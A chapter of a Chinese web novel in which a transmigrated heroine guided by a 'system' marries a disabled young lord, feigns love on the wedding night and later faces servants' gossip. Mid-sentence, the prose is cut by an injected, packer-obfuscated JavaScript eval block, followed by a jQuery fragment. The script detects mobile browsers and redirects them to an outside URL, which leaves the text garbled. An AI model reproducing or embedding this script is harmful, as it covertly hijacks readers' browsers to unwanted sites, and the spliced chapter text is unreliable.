“这路不会是你铺好的吧,我原本想走丫鬟协助少爷的普通路线,怎么现在是夫妻路线?主要是,这一切也太顺利了!我什么都没干,人就送到我面前,你早说会这样,当时我爬什么洞。”
【不是我哦亲亲,不过这不是更好吗?我们离他越近,越能提前完成任务。】
江岁坐在架子床上,红绸喜带缠绕在床两侧,火红耀眼,不远处桌上,摆放着对应“早生贵子”的坚果及各瓜果零碎。
据说,经过夫人的不懈努力,路哲才勉强同意她作为正室嫁进路府,不过还是因为她的乡野身份,路哲嫌弃不已,这场婚事只在府上进行,并未行什么声势浩大的礼节。
而她眼下所处位置,正是路云禾的房间,简单装饰成他们的婚房,红烛点点,映照在床畔少女光滑细腻的皮肤上,现在她一人坐在床上,和所有新婚女子一样,等待着夫君到来。
“其实我还是有点忐忑,听说他脾气不好,你说他不会对我也……”
系统想做安慰,让她不用操心这么多,结果听见江岁拍着胸脯,十分骄傲道:“不会,他打不过我。”
系统:你真的考虑太多了。
门扇嘎吱响起,带动烛光微晃,江岁吓得立刻端坐起来,把拂在耳侧的盖头扯下,做起淑女模样。
路云禾是被推进来的,等看到江岁时,明显模样比茅草屋那日拘谨不少。
“不用做这些礼节,他们也不认这场婚事,礼数什么的,免了。”
她以为他是在说,因为嫌弃自己没身份,而没有将婚事大办特办,因这点而不高兴。
江岁索性掀开盖头,放松全身肌肉:“路公子早说啊,我坐好长时间,全身都痛死了。”
她左右抬头揉肩,终于露出他们初见时的状态,路云禾坐在桌旁,抿了几口热茶,垂下眼皮又细细望向她,语气藏匿着不善,问道:“为什么同意嫁进来?”
这问题可真是一针见血,江岁做着向上拉伸的手臂,轻轻放下,心道:总不能把真实目的告诉他吧,那怎么回答才算合理?
思索一秒后,她道:“因为夫人看我一个人孤苦无依,想给我介绍门亲事,她说公子为人端正,品性纯良,我说好啊,就答应了。”
算了,把夫人拉出来溜溜。
话一出,她见路云禾嘴角轻轻一勾,又随即落下,仿佛自嘲一般,那速度之快让江岁也差点辨认错。
“你这么随便?”
路云禾抓住话语漏洞,立即质问,眼中浮起疑虑,因为他怎么也想不到面前姑娘,居然经过别人嘴上这么一说,就把自己的婚姻大事给答应下来,还是说,她在说谎。
江岁倒不认为自己随便,她可是经过深思熟虑才答应的,但是这话里很明显,面前这人是把自己想的太过“自由”,况且这个时代,女子可不能随便,受到的条条框框多得很,她既然猜到了他的想法,那回答断不能直接承认或否认。
她内心暗暗点头,双眼聚精会神盯着面前人,小姑娘害羞一样的走近,咬了会已涂上绯红胭脂的嘴唇,然后盯住他不放,似乎下好决心。
“其实,公子不知,我爱慕公子很久了,没想到天赐良缘,我想机会一旦失去,便不可再来,所以才这么快同意,到现在,还不真切呢。”
她唰地低下头,装作少女的初次表白,连耳朵尖也十分配合的升上一片粉红,这模样,自己都快起鸡皮疙瘩,但其实这是她热出来的。
路云禾不仅没被她的话语嚇到,面目没有一丝波澜,还十分平静:“是吗,我记得前几天应该是我们的第一次见面才对吧。”
他说的没错,但是江岁又怎能承认,她又双手放在胸前,诚恳着:“公子自然不知我的存在,我只是大千世界的一颗尘土,路公子不知,我原先见过你一面,那时就已倾心,只是我配不上,所以前几日和公子相遇我紧张极了,还想自己是不是看错,想先逃出去叫人来救公子,结果还被抓回来,闹个笑话。”
她越说,眼眶里还真集满了一窝泪水,晶莹剔透欲往下流,头渐渐低下,似在害羞或是自责。
扯出这样的慌她一点也不担心,江岁早就问过在这府中下人,他先前有什么爱好,下人们一问三不知,反问她,公子幼时爱去外面玩,算不算?
还在外面有什么称呼来着?反正很厉害的样子,她记不清了。就说是在那时,偶然见面,一不小心爱上他,理由不正好?
路云禾见她越说越激动,以至于快哭出来,平静的脸终于掀起波澜。
“你哭什么,我就是随便问问,我……”
“我倒觉得,公子明显是认为我是个随便的女子,看不起我。”
路云禾真被唬住,本就是随意问问的谈话,居然还误伤了人,脸上也因热气带起红潮。
“我没有看不起你,你不要瞎说!我只是以为你是受夫人所迫才,既然不是,是我冒犯。”
江岁逐渐感受到了别样的趣味,不是说脾气不好吗,她怎么瞧着这家伙纯情得很。
“既然你不是这个意思,那你就是认可我了,夫君!我是真心喜欢你啊!”
此话一出,路云禾开始不自然,慌着撇脸到一旁,让她不要说下去。
江岁从别人嘴里听过好几次关于他的传言,今天这么一撩,不对,这么一表白,居然真是纯情,尤其是听到夫君二字,可别怪她眼睛尖,那闪躲的眼神是错不了。
早说是个忧郁的纯情少男啊,系统这任务,还不轻轻松松?
她乘胜追击:“那夫君我们今晚如何睡呢?”
路云禾受不住她目如火炬的热情,指了指地板:“以后别这样说话,我不习惯和人一起睡,以后也……”
不等他说完,江岁直接动手,两三下打好地铺,嘴上撩是一回事,她是实打实也不想和人同榻而眠,既然房间主人家已经发话,她求之不得。
不过见他还在轮椅上坐着,想来睡觉也不方便行动,江岁准备站起扶他,没想到被路云禾看出意图,立马呵斥住,吓得她一时不知四肢该如何行动。
“你不需要帮我,我的一条腿还尚有余力,这些事情,还能自己做,抱歉,惊扰江姑娘,早些睡吧,虽然这地方不怎么样,但提供姑娘未来衣食,还是有能力的,今后我们还是互不干
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317591|198994||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扰的好。”
他有些后悔自己情绪这般转变之大,特别是对善意之人,总是拒绝,或许他已经无法分辨人的善恶之意,比如面前女子,到底是看不起他为府上钱财而来,还是真如她所说那样,他不得而知。
江岁哦了一声,洗把脸再回来,床上人影已安然入睡,她也迅速吹灯钻进被窝,一同进入梦乡。
梦里的画面并不好,她做了一整晚的噩梦,都是关于现世里——她的死亡,车祸发生时的画面循环在脑海中,那种感觉一点也不好受,就像明知道自己马上会死,还是在无限循环死亡场景,于是一遍遍死后重来,让人意识崩溃。
那辆白色轿车正向她驶来,江岁想逃跑,可是双脚被牢牢锁住,令她无法动身,白茫茫的前车灯直怼双眼,炫目,无尽的炫目,然后——
“江姑娘!江姑娘!”
她被唤醒,在地板上,身后还在不断传来叫唤声,很是焦急。
对出了一身冷汗的她而言,这声音简直是及时救助她性命的良方,还不知发生何事,江岁一个扭头,看见床上还身着里衣的路云禾正看着自己,时不时瞟向大门。
屋外天色昏暗,原来已有下人站在门外,准备进屋伺候更衣洗漱。
“是夫人房里的,不可让他们看见这副模样,你先将这些收拾,今晚还是合床睡罢了。”
还没明白当下状况的她,只好先凭着路云禾的话收拾好地上铺盖,然后才传人进屋。
进屋后,众人动作干净利索替江岁和路云禾更衣,全程沉默不语,各司其职。
其实她很不习惯,甚至有种素不相识的陌生人,进卧室光顾的感觉,刷牙看着,洗脸也看着,活生生没有一点私人空间啊!
“还请大娘子准备好,快快去给夫人请安。”其中一仆妇说完便带着众人退下。
江岁收拾好自己,有些紧张,又感受到来自后方的视线。
“什么该说,什么不该说,说话前想清楚一点。”
他在提醒自己,尤其是在提醒昨夜他们分席而睡的事情,她简单哦了一声,踏着渐起的晨曦而去。
伙房里,众人正有条不紊的准备饭食,突然一女子道:“我今天早上,被临时支去服侍大公子,看见那姑娘,你猜怎么着,一开始她连衣服都穿错了哈哈哈哈哈。”
一阵哄笑引起大家注意,开始议论纷纷。
“你别说,人家命可好了,出生比咱们高贵不了,但现在可是路府大娘子,出门别人也要敬她三分,啧啧啧,人还真不能和人比,不然只能气死自己。”
伙房里的谈话有来有回,将平静的清晨也喧出几分火气。
“说什么呢,让夫人知道,你们还想干吗!”
突如其来的呵斥声,让房中众人闭上嘴,来人也是个丫鬟模样,一张巴掌小脸,还有未退下的肉嘟嘟脸颊,说完后,又向着为首的两女子瞪了两眼,撅着嘴离开。
“她怎么在这?得,惹到家伙事了。”
“哎?她是不是之前还对大公子自荐过?咱们这不是正好说到……”
“哎呀管她做什么,越来越神经。”